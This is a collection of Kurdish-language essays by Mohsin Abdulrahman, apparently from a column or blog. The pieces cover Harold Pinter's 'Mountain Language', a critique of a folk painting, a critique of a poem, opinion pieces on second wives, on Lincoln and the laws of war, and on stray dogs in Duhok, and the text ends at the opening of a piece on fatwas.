ل وی ده‌می بالیۆزخانه‌یا ئه‌مریكی ل ئاڤاهیێ‌ بالیۆزخانه‌یێ‌ ئاهه‌نگه‌ك ژبۆ نڤێسه‌ر ئارسه‌ر میله‌ر سازكر، و هارۆلد بنته‌ر هاته‌پێش بۆ گۆتنا په‌یڤه‌كێ‌ ده‌رباره‌ی ئازارێن نڤێسه‌ران و به‌رهنگارێن بۆچوونان ل تركی و ئه‌و هه‌می ره‌زیلكرنا مرۆڤینی و ئه‌شكه‌نجه‌یا جه‌سته‌یی یا د زیندانێن رژێما تركیڤه‌ تووش دبنێ‌، ئه‌و رژێما ژ لایێ‌ حوكمه‌تا ئه‌مریكیڤه‌ پشته‌ڤانی لێ‌ دهێته‌كرن، ئه‌و په‌یڤە یا نه‌چاڤه‌ڕێكری هنگافتنه‌كا مه‌زنبوو، بۆ كه‌ساتییا بالیۆزێ‌ ئه‌مریكی تاكو ئه‌و بالدای هارۆلد بنته‌ری ل پێش هه‌میان ژ ئاهه‌نگێ‌ بده‌رینیت، ل وێ‌ ده‌می ل پێش میله‌ری چ تشت نه‌بوو ژبلی هه‌ڤسزۆیێ‌ دگه‌ل هه‌ڤالێ‌ خۆ بنته‌ری، ئه‌وژی ده‌ركه‌ڤیت، و بنته‌ر لدور وێ‌ گه‌شتی په‌یڤه‌ و گۆت
(ئه‌وا من ل وێده‌رێ‌ دیتی ئارێشه‌یه‌كا راسته‌قینه‌یه‌ بوو، ئه‌وی ژ نێزیك زانی كو كوردێن تركی گه‌له‌ك ب ساناهی هه‌ما د بنه‌مادا هه‌ر بۆ وان نینه‌ كو هه‌بن، پاشی بۆ وان ده‌ستویری نینه‌ ب زمانێ‌ خۆیێ‌ دایك بپه‌یڤن).
سیرجنت: (ب تنگژین گۆته‌ ژنان) باش گۆهدارییا من بكه‌ن. زیندانیێن هووین هاتین سه‌ره‌دانا وان بكه‌ن، نزانم كوڕێن هه‌وه‌ یان مێرێن هه‌وه‌ یان بابێن هه‌وه‌ نه‌، ئه‌و دوژمنن، دوژمنێن حوكمه‌تێ‌. ئه‌و تنێ‌ گلێشن، ته‌ره‌سن، چه‌په‌لن، بێمه‌رێزن. تێگه‌هشتن؟
ئه‌فسه‌ر: (به‌ره‌ڤ ژنان هاته‌پێش)
: و نها باش ببهیسن. هوون چیاینه‌ و فه‌ره‌ بزانن ده‌ستویری بۆ هه‌وه‌ نینه‌ ل ڤێره‌ ب ڤی زمانێ‌ خۆ یێ‌… باخڤن، چنكو ئه‌و قه‌ده‌غه‌یه‌، تێگه‌هشتن؟ زمانێ‌ هه‌وه‌ یێ‌ مری، ژناڤچووی، قڕبووی، و نها قه‌ده‌غه‌یه‌، له‌ورا ده‌ستویری نینه‌ هوین پێ‌ دگه‌ل زه‌لامێن خۆ باخڤن، بئێكجاری نابیت نه‌ ل ڤێده‌رێ‌ و نه‌ ل وێده‌رێ‌ بكاربینن، چنكو ئه‌و زمانه‌كێ‌ ده‌رڤه‌ی قانونێ‌ یه‌، تێگه‌هشتن؟ زمانێ‌ ئێكانه‌یێ‌ ل ڤێده‌رێ‌ ده‌ستویردای تنێ‌ زمانێ‌ پایته‌ختی یه‌ و نابیت كه‌سه‌ك ب زمانه‌كێ‌ دی ب په‌یڤیت، و هه‌ر كه‌سێ‌ وێره‌كیێ‌ بده‌ت خۆ و ب زمانه‌كێ‌ دی بپه‌یڤیت، دێ سزایه‌كێ‌ دژوار وه‌رگریت، به‌لێ‌، ئه‌ڤێ‌ تێگه‌هشتن؟ ئه‌ڤه‌ بڕیاره‌كا له‌شكرییه‌. ئه‌و قانونه‌، دوباره‌دكه‌م و بۆ دووماهی جار، زمانێ‌ هه‌وه‌ یێ‌ قه‌ده‌غه‌یه‌، مرییه‌، نه‌مایه‌ و په‌یڤین پێ‌ ب ئێكجاری قه‌ده‌غه‌یه‌. بدووماهی هات.
بنته‌ر ژ خۆ و دبیت یێن دی ژی ڤان پڕسیاران دگه‌ت: ئه‌و چ تشته‌ ژ هه‌میان گرنگتر د گاڤا ترس و تیرۆرا بێسنۆر بكه‌ین؟ و ئه‌و چ تشته‌ مرۆڤی پالدده‌ت لڤێ‌ هه‌بوونێ‌ یێ‌ به‌رده‌وامبیت؟ و چاوا دشێین تا دویماهیێ‌ خۆراگرین؟ لێ‌، ده‌ستهه‌لاتا چه‌وسینه‌ر دشێت بساناهی هه‌ر تشتی ژ ته‌ بستینیت، دشێت تایبه‌تمه‌ندییا ته‌، روومه‌تا ته‌، خوارن و نۆشا ته‌… ده‌سته‌سه‌ركه‌ت، لێ‌ تشتێ‌ نه‌شێت ب قانونه‌كێ‌ دارێژیت و ئارسته‌كێ‌ بۆ دیاربكه‌ت هه‌ستێن ته‌نه‌، د ڤێ‌ شانۆیێ‌ دا زیندانییان تشتێن هه‌ره‌بلند و كویر هه‌نه‌، كو هاندده‌ن بۆ مانێ‌ و به‌رده‌وامیێ‌ د هه‌بوونێدا. تشته‌ك؛ كه‌سه‌ك یێ‌ هه‌ی ژ ده‌رڤه‌ی زیندانێن وان چاڤه‌ڕێی وانه‌، زارۆیه‌كێ‌ زیندانی نه‌دیتی نها چاڤه‌ڕێی وی یه‌، دایه‌ك هه‌یه‌ ئه‌و گه‌له‌ك حه‌زژێدكه‌ت و جڤاكه‌ك چاڤه‌ڕێی هاتنا ده‌م و ره‌وشه‌ك باشتره‌، ده‌مێ‌ پیرێ‌ ل كوڕێ‌ خۆ دنێریت بێده‌نگ دبێژیتێ‌: ده‌مێ‌ ڤه‌دگه‌ڕی مال دێ‌ ب تلیلییان هێیه‌ پێشوازیكرن. كوڕێ من هه‌می چاڤه‌ڕێی ته‌نه‌، هه‌می په‌رۆشی دیتنا ته‌نه‌. یان دانوستاندنا د ناڤبه‌را ژنێ و مێریدا. ئه‌ڤ كێلیك وه‌كو كولیكانه‌، كولیكێن گه‌له‌ك بچویك د زه‌ڤییه‌ك پیس دا شیندبن و وه‌رارێ‌ دكه‌ن، لێ‌ ئه‌و د هه‌بوونا خۆ یا راسته‌قینه‌ دا هه‌ره‌هیزداره‌.

ژێـدەر:ـ
شانۆگه‌رییه‌كا كورت ب ئێك پشك د چوار دیمه‌نان دا ژ: نڤێسینا: هارولد بنتەر، وەرگێڕان بۆ ئەرەبی: عەلی كامل، كوردیكرن: محسن عەبدلڕەحمان.
– په‌یڤین لگه‌ل ئانا فورد – گۆڤارا (المستمع) 27 ئوكتوبه‌را 1988ێ‌.
– مالپه‌رێ (ایلاف)یێ ئه‌لیكترونی‌ – له‌نده‌ن، ژماره‌ 7800 ل سێشه‌مبی 6 ی سپته‌ه‌مبه‌رێ 2006.

محسن عەبدولڕەحمان

رەخنە:
ب تەماشەکرنا ڤی کەڤالێ نەریتی و کەساتی سادە ژ شڤانێ ب جلکێن فولکلۆری و بزنان..، دشیاندایە بو چەندین خواندنگەهـ یان تەرزێن هۆنەری بهێتە ڤەگەڕاندن، لێ یا ژ هەمیان نێزیکتر: هۆنەرێ مللی – فولکلۆرییە (Folk Art)، کو «هۆنەرێ مللی زاراڤەکە بو هەمی کارێن بدەست دهێنە چێکرن دهێتە گۆتن، ژ وانا نیگار، داتاشین، ناڤمالی تا پیدڤیێن کەسی وەکو: پارزین، گورە، دەستبلین، شرۆخە و دۆخین…، پتریا کولتۆرێ مللی دەربڕینێ ژ ژیانا رۆژانەیە و ڤەگێڕانا چیرۆک و ئەفسانەیێن مللییە»(1).

هۆنەرێ مللی:
ژ ژیوارێ جڤاکی دەرڤەی ئەکادیمیبوونێ ل سەر دەستێ ئەوان هۆنەرمەندێن خۆ فێرکرین پەیدابوویە، لەورا رەنگڤەدانا گیانێ کومەکی ل شوینا هزرێن تاکێن ڤەدەر لێ دیارە، د گۆتارەکێدا بو رۆژنامەیا (Huffington Post – هافینتۆن پۆست)دا، ئەمیندارێن مۆزەخانەیان (ستیفانی نابی و کاترین فوتەر) بابەت شرۆڤەکرن ب گۆتنا: «د ژیواریدا بابەت گرێدای بەردەوامیدانێیە ب نەریتان و پاراستنا وان د دەمەکیدا گوهۆرینێن مەزن رووددەن، هۆنەرێن مللی جۆرە سەقامگێرییەک تێدا هەیە.. و رابووری دپارێزین:»
هۆنەرێ ئاشۆپی/ فانتازی (Dreamlike/Fantasy Art):
(سەقایێ مژەوی و چیایێن ب ئەوران داپۆشی، ژنا پرچ بەردای دگەل ژەنینا بلۆرێ بو بزنان ئەوان دەرڤەی دەمجهی دیاردکەت، کەڤال هایدانێ ب هەستەکا ئاشۆپی یان ئەفسانەیی ددەت، ئەڤ شێوازە پتر ژیواری ب ئاشۆپا فانتازی دشێلیت).

بۆهایێ هۆنەری و جوانناسی:
هەر کارەکێ هۆنەری ب هندەک پیڤەران بۆهایێ خۆیێ هۆنەری و جوانناسی هەیە،
د تەماشەکرنا ڤی کەڤالیدا ئەڤە دهێتە دیتن: سەقایەکێ ئارام و سێهربەند و ئەوران پشکا مەزن ژ دیمەنی ڤەگرتیە، کو هەست خۆش پەیداکرییە، هەروەسا رەنگ د ئارام و دەستنیشانکرینە، رەنگێن جۆنێ ڤەبی (قەهوائی) و گەور و سپی دزالن.. ئەڤ هەڤسەنگی و گۆنجاندنا رەنگان سەقایەکێ ئارام بو دیتنێ ئافراندییە،

هێماگەرییا کەڤالی:
دیمەنێ شڤانێ بلورژەن و کچا پرچ بەردای و بزنێن سپی د خوەزایەکا گەور و مژەویدا، کو ل پشت وان چیانە و ل هنداڤ تاکێن دارێن ب کولیکێن سۆر شۆربووینە، ئەگەر دار هێمایێ پێتبوون و گەشبوونێ بیت، بشکۆژێن سۆر هێمایێ دەربوونا کانییا دلداریێیە، هەموو تۆخم پیکڤە هایدانێ ب هەبوونا ئەفسانەکی ددەن، بلور ئالاڤێ مۆزیکێ ئاماژەیە بۆ ئێکبوون و هەڤتمامکرنێ د ناڤبەرا بانگا سرۆشتی – گیانێ هەلاتگەری – و مرۆڤیدا، دیسان بزنێن سپی دبیت هێمایێ پاکیێ بیت، ئەڤ هویرییە بینڕای ڤەخواندنا تەماشەڤانییە بۆ هزرکرن و ئاشۆپەکرنا ڤەگێڕانا چیرۆک و سەرهاتییەکێ د ناڤ کەڤالیدا(2).

تۆخمێن بینڕای:
بکارئینانا رەنگ و خیج و رۆناهیێ… درێژییا پرچا کچێ و بلورا شڤانێ لڤینەکا نەرم و شل ل دیمەنی زێدەدکەت، کەڤال تێکەلکرنە د ناڤبەرا هۆنەرێ فلکولوری و وێنەکرنا ئاشۆپی، پێگەهێ – وچعیە – کەساتییان هایدانی برەنگەکێ کارلێکی و تێهزرینێ ددەت، ئانکو کەڤال بیاڤێ هزرکرنی د چیرۆکێدا و راڤەکرنا رامانێن ڤەشارتی، هوسا زێدەباری بۆهایێ هزری ل بۆهایێ جوانناسی زێدەدبیت. کەڤالی بگشتی سەقایەکێ ئارامێ دلینی و ڤەگێڕانێ پیشاندایە.

رەخنە:
د رەخنەیا هەر کارەکێ هۆنەری یان وێژەییدا فەرە بابەتییانە ل ئالیێ ئەرێ و نەرێ و خالێن هێز و لاوازیێ بنێرین، سەرباری جوانناسییا کەڤالی، لێ ژ خالێن سست ژ ئالیێ هۆنەریڤە نەیا ڤالایە، کو د شیاندایە بهێنە چارە و راستڤەکرن، وەکو مژ پشکەکە ژ رووبەرێ هۆنەریێ کەڤالی، لێ هویریێن چیا ڤەشارتینە کو وەک سیبەر دیارن.
د پتریا کەڤالین نیگارکێشێن کورددا، گرنگیێ ب ناڤەرۆکێ و لایەنێ هزری ددەن، ل سەر حسابا لایەنێ هۆنەری وەکو نشتەرگەرییا مرۆڤی، د ڤی کەڤالیدا هویریێن دەستان (گرێجکێن تبلان ولڤینا ژەنینێ) و دێمێ کەسان (روی، دفن، ئەرزنک) ناهێنە دیتن، تاکو پرچێ بەردای وەکو کورز دیارە، دیسان چ زەمینە کو شڤان و بێری و بزن ل سەر راوەستن دیارنینن، دشیاندابوو سیبەرەکا سڤک دیاربکەت بێی دیمەن خوەزایا ئاشۆپێ ژدەستبدەت(3).

رەنگ:
هەڤسەنگییا رەنگان هێزێ ددەت کەڤالی، لێ خۆلیکی و گەور ب ئێک رەنگی دیاردکەت و ئەڤە راکێشانا چاڤی کێمدکەت! ژبلی کەپەنێ شڤانی د شیاندابوو رەنگان ل جلکێن کچێ و موویێ بزنان ژی زێدەبکەت. لێ ئەڤا ئەزێ بینەر ب رەخنە دبینم، دبیت نیگارکێشێ ب زانابوون کربیت و، ئەوا ئەز دبینم لاوازی کەسەکێ دی ب خالا هێزێ و ژ هەڤگرێکا – سیاق – شێوازێ فولکلۆری ببینیت.
ژ چەند ئەگەران کەڤالی کارتێکرنا دەروونی و بهایەکێ بیردانکی بۆ بینەرێ سەر ب جڤاکی شڤانڤە هەیە، وەکو پەیوەندیا رەوشەنبیری کو رەنگڤەدانا ژیان و چیرۆکێن وان یێن کولتورییە، هەروەسا خەریبی و پەرۆشی بو سەردەمێ سادەیێ و ڤەگەڕیانە بو سرۆشتی، د بیردانکا کومەکیدا کەڤال سەربۆرەکا هەستەوری و دلینییە، بیردانکا بینەری هانددەت و کاریگەرییەکا نەهێتە ژبیرکرن لدەڤ دروستدکەت.

ناسنامە:
بو دەستنیشانکرنا ژیێاتی و ناسنامەیا کەڤالی هەر ژ ئاڤریا ئێکی بشێوەیەک ڤەبڕی ناسنامە دیاردبیت، وەکو جەمەدانی و کەپەنێ شڤانی، دیسان بزن بشێوەیەکێ بەرفرەهـ ل دەڤەرێن چیایی یێن ب مژ و ب ئەور دهێتە بخودانکرن،
(1) (https://www.nationalgalleries.org/art-and-artists/glossary-terms/folk-ar)
(2) د. نائله‌ المنیر المحمودی، مدلول الدلالات الرمزیه‌ فی اللوحه‌ التشكیلیه‌، مجله‌ اڵاكادیمیه‌ للعلوم اإلنسانیه‌ والاجتماعیه‌، عدد 23- دیسمبر 2022، ص338- https://mhs.academy.edu.ly/ar/j.
(3) سعید درویش – ا. د. عبدالله السید- د. محمد محفل، الرمز والرمزیه‌ قی الفن التشكیلی، مجله‌ جامعه‌ دمشق ااعلوكم الهندسیه‌ المجلد التاسع والعشرون- العدد الاول-2013. ص509 – 670.

محسن عەبدولڕەحمان

* ناڤونیشان:
دەستەواژەیا (بەختێ بێ رەنگ) وەک ناڤونیشانێ هەلبەستێ ژ پەیڤێن سادە و بهێز پێکهاتییە، د هەمان دەمدا هەلگرێ جوانناسی و هێماگەری و پرسیاریێیە، ئەرێ ما بەختی ژی رەنگێن جودا هەنە؟ ئەو ناڤونیشانەکێ چەندێ کورت و تیرە، هندیێ بالکێشە و ئازرێنەرە، دیسان کۆمکەرێ دو پەیڤێن هەڤدژە، بۆ پێکئینان گونجاندنەک جوان ئەوژی/ بەخت و رەنگ/، کو یەکخستنا /بەخت/ دگەل /بێ رەنگ/ هەڤۆکەکا نەیا کەهییە، لەورا ناوازەیی ورەسەناتیەک دایێ، هەروەسا رۆهنی و شێلیبوونەک هەڤسەنگ ب ناڤونیشانی بەخشییە، کو بابەت لدور بەختییە لێ یێ شێلییە، لەو وەرگر دەربارەی بێ رەنگیێ دبپڕسیت.

* هێماگەری:
هێزا ناڤونیشانی د کویراتییا هێماگەرییا وێدایە، کو خواندەڤانی پالددەت نقومبوونێ د دەقیدا بۆ ڤەدیتنا مەبەستا ڤەشارتی ژ ڤێ دەربڕینێ، چنکو بابەتێن گیانی و دلینی ب رەنگ و سەرڤە ناهێنە پیڤان و هەڤبەرکرن، ئەوا ئاسۆیەکێ بەرفرەهێ بۆ راڤەکرنێ ڤەکری، چنکو بیاڤێ پتر ژ خواندنەکێ تێدایە، ئەو ئاماژەبیت بۆ نەبوون یان بەختێ لاواز و بێکارتێکرن ل سەر ژیانا هەلبەستڤانێ، یان ئاماژەبیت بۆ رەشبینیێ کو هەلبەستڤانێ هیڤی نەمایە کو بەخت ژیانا وێ رەنگین بکەت، هەروەسا دبیت ئاماژەبیت کو بەختی چ رەنگ یان کارتێکرنە راستەقینە ل سەر ئاراستە و رێرەو ژیانێ بگشتی نینە.

* راڤەکرن:
لپەی خواندنا من بۆ ڤێ هەلبەستێ.. ئەوە هەلبەستڤان د ململانەکا دەروونییا کووردایە، دەق» دەربڕینێ ژ تنگژین و هەستێن نڤیسکاری دکەت، د گاڤەکا دیارکری دا…»(1) د ناڤبەرا دیتن و حەزکرن و ئەو راستیێن ب ئێشێن رووبروو دبیت، جوانناسییا هەلبەستێ د شیانا دەربڕینێدا د هوندری وێنەیێن هۆزانکیێن هەڤدژ دیاردبیت، لەو دێ بزاڤێ کەم هندەک ئالیێن جوانناسییا هەلبەستێ بەرچاڤکەم:

* وێنەیێن هەڤدژ:
هەڤدژی تەکنیکەکا وێژەییە، تێدا پەیڤ و رستەیێن هەلگرێن ئاماژەیێن هەڤدژ ددەن بکاردئینیت، بۆ بهێزکرنا رامانێ و کارتێکرنێ ل سەر وەرگری، «هەڤدژی د گۆتن و رامانێدا دولایەنییا زمانڤانییەکا یەکتربڕە، جوداهییەک دیار د تەرزیدا هەیە، د جیاوازییا خۆدا داهێنان و جوانناسیێ بەرچاڤدکەت»(2).
هەڤدژییا وێنەیێن دوبارەکری کاکلا جوانناسییا هەلبەستێیە، هەلبەستڤانێ دوئالییا هەڤدژییا هیڤی و ژیواری (د ناڤ چاڤێن تەدا/ عشقەکا خەیالی دبینم) و ئاشۆپە و هیڤی د بەرانبەردا(لێ د ناڤ دەستێن تەدا/ بڤرەکێ ئاسنی دبینم) دژوارییا ژیواری ئافراندییە، دیسان د(ب پەیڤێن تە هەست/ب ئەڤینەکا بێسنوور دکەم) ساوێرا – وەهم – سۆزدانێ بەرانبەر (لێ د نەهاتنا تەدا/ هەست ب بێ وەفایێ دکەم) بێ ئەمەکی و دلشکەستنێیە.

* دەربڕین:
سەرباری وێنەیان لێ هەر زمانێ هەلبەستێ یێ سادە و راستەوخۆیە، ئەڤە تێگەهشتنا هەلبەستێ بساناهێ دئێخیت و ژ هەر ئالۆزییەکێ دووردکەت، ئەڤە دلینیێ لدەڤ وەرگری پەیدادکەت، لێ ل داویێ هەلبەست ب جۆتەک پڕسیارێن بئێش کو رەنگڤەدانا رەوشا تەنگەزاری و بەرزەبوونێیە یا هەلبەستڤان دەربازدکەت وەکو: (ئاخ بۆ بەختێ من یێ بێ رەنگ/ نە رەشە نە سپی) و (ئاخ بۆ گیانێ من یێ بێ جان/ نە ساخە و نە مری) ئەڤ هەڤۆکە رەهندەکا فەلسەفی ل سەربۆرا هەلبەستڤانێ زێدەدکەت.
سەربارێ دیارکرنا خالێن جوانناسیێ و ئالیێن رەوانبێژیێ، لێ بدیتنا هەر دەق بێ تێبینی و کێماسی دەربازنەبوویە، وەکو دوبارەکرنا هندەک پەیڤان/د ناڤ، دبینم، تەدا…/ جۆرە سستییەک ئێخستییە تەڤنێ هەلبەستێ، ئەڤ دوبارەکرنە ڤان برگەیان برەنگەکێ تەرزکی – نمطیە – دیاردکەن، لەورا ئەو کارتێکرنا جارا ئێکی ل جارا دویێ نامینیت. دیسان بێژەیا(بڤرەکێ ئاسنی) تمامکەر و هەڤدژا (عشقەکا خەیالی) یە، ئەو نەیا رۆهنە کا مەبەست پێ دژواری یان خیانەتە، کارتێکرنا بفری هەنبەر عەشقێ لاوازکەت، هەروەسا(شەڤا سار/ گەرم) و (رۆژ/ دگەڕم) د دویڤدا (بەختێ من یێ بێ رەنگ/ ئاخ بۆ گیانێ من یێ بێ جان) ئەڤ هەڤدژی و ڤەگوهاستنا بلەز د ناڤبەرا گۆتن و کریاریاندا نەرمییا پێکڤەگرێدانێ خاڤکرییە،

داوی:
د پۆختەیێدا (رەنگ/گیان) د ناڤبەرا واندا رەوشەک ئالۆز و نەسەقامگیرە، ئەو خۆ ونداکرنە د (بێ رەنگ/ بێ جان) دا، لێ هەلبەستڤان د ڤان وێنەیێن هەڤدژدا ب زیرەکی و رەوانی، شیایە دلینییەک بهێز بگەهینیت وەرگری و درەبڕینێ ژ ململانەک ب ئێش بکەت.
ژێدەر:
(1) ئازاد دارتاش، پرسگرێکێن هەڤگەهشتنێ، 2023، بپ43.
(2) قادرە غیثا‌و، الثنائیات الچدیە وأبعادها فی نصوص المعلقات، مجلە دراسات فی اللغە العربیە و ‌ادابها، جامعە تشرین، سوریا، العدد (10-11)، 2012، ص25.

محسن عەبدولرەحمان

هەوی ئەو ژنە یا ب سەر ژنەكێ دهێت! ئانكو هەڤپشكییا دوو ژنان د ژیانا مێرەكیدایە، راستە ئەو هەستەك هەرە نەخۆشە، كریاڕەك ناپەسەندە! لێ جاران (ژ نەچاری مرۆڤێ كوشتێ كەوی دخۆت) جاران ژ بەترانێ پێهنەكێ ل فەلەكا خۆ ددەت و خۆشی و ئارامییا مالا خۆ تێكددەت، ب تایبەت ئەگەر زارۆك د ناڤبەرا ژن و مێریدا هەبن.
لەو پرسیار ئەڤەیە، بۆچی هندەك مێر هەنە ژنەكێ ب سەر ژنا خۆ دئینیت؟ دا وەكو عیسێ دەلا گۆتییە میرێ بەهدینان (هێك سۆر یان زەربیت هەر هێكە و ئێك تامە) ڤێچا هەكە هەمی ژن وەكو ئێكبن، ڤێچا بۆچی مێر ب ئینانا ژنا دویێ ژیانا خۆ تێكددەت؟ چنكو هەڤپشكی هەر چاوابیت یا نەخۆش و پڕ ئارێشە و سەرگێژییە، ڤێچا بۆچی مێر وەسا دكەت، ب تایبەت ئەگەر هەڤژینا وی یا ب زارۆك بیت و رەوشا ئابووری یا ناوەندی بیت، پشتی چەندین رەوش من دیتین و بهیستین، گەهشتمە وێ باوەریێ كو ژنا دویێ هەر وەكو خوارنا گوشتێ كەوییە! ئەوژی ل پشت هەر زەلامەكێ چاڤلدەر ژنەك خەمسار هەیە و ل پشت هەر ژنەك خاین زلامەك بێهەست هەیە، ئانكو خیانەتا هەڤژینیێ یان ئینانا ژنا دویێ ب سەر هەوی یا بێ ئەگەر نینە! كێم جاران ئێك ژ هەڤژینان گەرمییا گۆهنێلیێ هەمبەر یێ دی ساربوونا گۆهنێلی هەیە، ئەڤە رەوشەكە كێم و دەگمەنە، ئانكو ئەگەرێن دی هەنە ساربوونا پەیوەندیێ د ناڤبەرا هەڤژینان پەیدادكەت.
بهزرا من خەمسارییا بچویك ئاریشەیێن ژ هەمیان مەزنترە چێدكەن، چنكو هەر ئاریشەك هاتە پشتگۆهـ ئێخستن ژ بچویكیێ دێ دگەل دەمی كەلەكەبیت و مەزن بیت، چنكو شەواتێن هەر مەزن ژ چریسكێن بچویك دەستپێدكەن، خەمسارییا هەڤژینان بۆ ئێكدو دەستپێكە تاكو دگەهیتە راددەكێ پێكڤەژیان ئەستەم دبیت.
فەرە هەڤژین بزانن، ئەگەر ژن بۆنەوەرەك نازك بیت پێدڤی نازداركرنا زەلامی بیت، زەلام ژی ب هەمان پیڤەر، دبیت پتر زارۆكەكێ مەزنە پێدڤی چاڤدانا ژنێ یە، بابتەتێ هەڤژینیێ ژ پەیوەندییا گۆهنێلیێ مەزنترە، دا ژیانا هەڤژینیێ ب خۆشی دەربازبیت، دبێژم ئەو هەست ب هەبوون و چاڤدان و دلینی و رێزكرتن… لێكگۆهارتییە.

محسن عەبدلڕەحمان

شەڕ و كوشتن ب خۆ كریارەكە دڕندەییا مرۆڤی دسەلمینیت، ڤێچا هەكە كوشتن دژی دیلێن شەڕی و خەلكێ سڤیل بیت! ئارێشە ئەوە گیانەوەرێن گوشتخۆر تا برسی نەبیت، كوشتنێ ناكەت، لێ مرۆڤ بەروڤاژی دەمێ تێربوو ژنوی حەزا وی بۆ خوینرژتنێ دئازریت! ئەڤە رەوشا جڤاكا مرۆڤی بوویە تاكو مرۆڤێ مەزن دیاربووی، ئەڤ مرۆڤە مەزنییا وی بۆ دوو بڕیاران ڤەدگەریت، كو ل داویێ سەرا وان بڕیاران ل 14 نیسانا 1965 گیانێ خۆ بەخشی دەمێ هاتییە تیرۆركرن، ئەڤ مرۆڤێ مەزن نەپێخەمەر یان فەیلەسۆفە، ئەو سەرۆكێ ژمارە شازدەیە یێ وەلاتێ ئەمریكا، ئەوژی (براهام لنكۆلن)ە.
سەركردەیێن مەزن ب هشمەندی و دویربینی بڕیارێن وێرەك و ڤەبڕ ددەن، كو نەتنێ ب بۆرینا چەرخان دمینن، بەلكو دبنە وەرچەرخان د مێژوویا مرۆڤینیێ دا، ئەڤ هەردوو بڕیارێن سەرۆكێ ئەمریكا ئەڤەنە:
بریارا ئێكێ:
هەلوەشاندنا سیستەمێ بەنەدەیێ – العبودیە – ئەوژی ب قەدەغەكرن و ب تاوان نیاسینا بەندەیێ، كو ئەڤە وەرچەرخانا هەرە گرنكبوو د ژیانا مرۆڤاندا رویدای، لێ بڕیارا ژ وێ نە كێمتر كو بابەتێ مە رۆژەڤێیە، كو نها جیهان و بتایبەت جڤاكێن مە ژێ دنالن، ئەوژی دوبارە زیندیكرنا كرێتییا بەندەییا ژنان، دیسان كوشتنا دیلین شەڕی، چنكو ڤان سالان بتایبەت پشتی دەركەفتنا هشكباوەرێن ئیسلامی ب ناڤێن جودا و كوشتن و سەرژێكرنا پێشمەرگە هوجام سوروجی و سۆتنا فرۆكڤانێ ئوردونی مەعاز كەساسبە، وەكو نموونە، بیرا مە ل قانوونا (لیبر) ئەوا ل 24ی ئەبریلا 1863ێ ب قانوونا ژمارە 100 ژ نڤێسینگەها فەرماندێ گشتی ل سەر داخوازا سەرۆكێ ئەمریكی (ئەبراهام لینكولن)ی دەرچووی، كو قانوونەك نوی بۆشەڕی ب مەبەستا پاراستنا دیلێن شەڕی و سڤیلان دارشتییە، لدویڤ ڤێ قانوونێ ئێكەم دادگەهـێن ل دۆر تاوانێن شەڕی د مێژوویێ دا هاتنە چەسپاندن، ل پەی قانوونا نوی بۆ جارت ئێكێ‌ د مێژوویا مرۆڤینیێ دا، ب قانوون هژمارەكا ئەفسەرێن كۆنفدرالی بەر ب دادگەهێن لەشكری هاتنە هاژۆتن، ب تاوانا ئەنجامدانا تاوانێن شەڕی و كوشتنا سەربازێن دیل ل سەربازگەهێن دیلین ژ باكۆرێ ئەمریكا، كو هاتبوونە گولـلەبارانكرن.
بەری 163سالان ب قانوون ئەمریكا ئەفسەرێن ب كوشتنا دیلان تاوانبار دادگەهـ دكەت، لێ نها ب دەنگ و رەنگ خەلكەكی دبینین شانازیێ ب بەندەكرنا ژنان و كوستنا دیل و خەلكێ سڤیل دبەن، رویدانێن دەڤەرێن عەلەویان ل سووریێ نموونەك زیندییە!

ڤان رۆژان نۆچەیێ خوارنا رەڤدەكا سەیێن بێخودان و بەرەللا ل كەركووكێ بۆ زارۆیەكێ نەه سالی بەلاڤبوو، ل هەولێر جاران گازندەیێن وەلاتییان ژ هێرشا سەیێن بێخودان دهێنە بەلاڤكرن، ل ڤان رۆژێن بۆری ڤیدیۆیا تووشبوونا خویندكارەكا بەشێ ناڤخۆ ل ناڤ زانكۆیا دهۆكێ بەلاڤبوو، بەری وێ ل ئۆڤەرباسێ بێسرێ سەیەكی باقا زەلامەكی لەقدایە! هەبوونا ڤان رەڤدەیێن سەیان ب تایبەت ب شەڤ تا بەرێ سپێدێ ل ناڤ تاخ و كولانێن باژێری ب كەیفا خۆ دچەورن! و گازندێن وەلاتییان بەردەوامن!
ل كوردستانی سەگ زێرەڤانێن پەزی و ل گوندان پاسەوانێن ب خودانبوون، گەلەك جاران سەرا سەیەكی ئاریشە د ناڤبەرا گوندییان دا چێدبوون، لێ پشتی كورد بووینە مووچەخور و پتریا گوندان بەرداین، دا چەند مالەكێن ئەرەبان پەزی ل كوردستانێ ب خودان بكەن، ئێدی سەگ مانە بێخودان و ئەو گرنگی ژ دەستا، لەورا ل رەخێن باژێری دیاربوون و نها شێوەیێ رەڤدان ل كولانان و هەر جهی تا ناڤەندا باژێری دبەلاڤن، پترییا وان ژ برسێ ل تەنەكێن كلێشی كۆم دبن، دگەل وەختی زڤستانێ كو دێهل ل با دبیت دا پاشی بتركن و هژمارا وان هەر زێدەبیت، د ڤی دەمیدا هێرشی مرۆڤان دكەن كو د ناڤدا سەیێن هار هەنە، ئانكو لەقدانا وان یا ژەهراوییە ئەگەر زوی و ب شێوەیەكێ نۆژداریێ دروست و رێكخستی نەهێتە چارەسەركرن، دێ زیانێن ساخلەمی لدویڤ خۆ هێلیت، كە دگەهیتە مرنێ، ئەوژی ب دانانا پێنچ دەرزییان یێن دژە هاربوونێ!
ئەرێ چ گوننەها وەلاتییەك دچیتە كارێ خویندكارەك دچیتە قوتابخانەیێ و… تووشی هەڕەشەیا رەڤدا سەیان ببیت، كی بەرپرسیارە؟ هەكە كوشتنا وان قەدەغەبیت، چنكو دژی مافێ گیانەوەرییە، ئەرێ كارگێرییا پارێزگەها دهۆكێ، رێڤەبەرییا ژینگەهێ، رێكخراوێن مافێ گیانەوەری، باژێرڤانییا دهۆكێ..كی بەرپرسیارە ژ پاراستنا وەلاتیێ ب رێكا خۆ دچیت؟
لەورا دبێژین كارگێرییا پارێزگەها دهۆكێ وەلاتیێن خۆ بپارێزە، سەیێن بەرەللا یێن دبنە مەترسی، چنكو پاراستنا وان ئەركێ تەیە!

محسن عه‌بدولره‌حمان
فه‌توا: دان و ده‌ركرنا حوكمه‌كێ شه‌رعی یه‌ بۆ كه‌سێ پڕسیاركه‌ر، رۆهنكرن و نیشادانا پرسیاركه‌رییه‌ ب حوكمێ شه‌رعی. د موسلمانه‌تیێ دا ده‌ما گومان كه‌فته‌ سه‌ر تشته‌كی پێدڤی ب بۆچوونا زانایێن دینی دبیت، هینگێ بریارا وان دبیته‌ فه‌توا. ئه‌ڤه‌ چه‌ند نموونه‌كن:
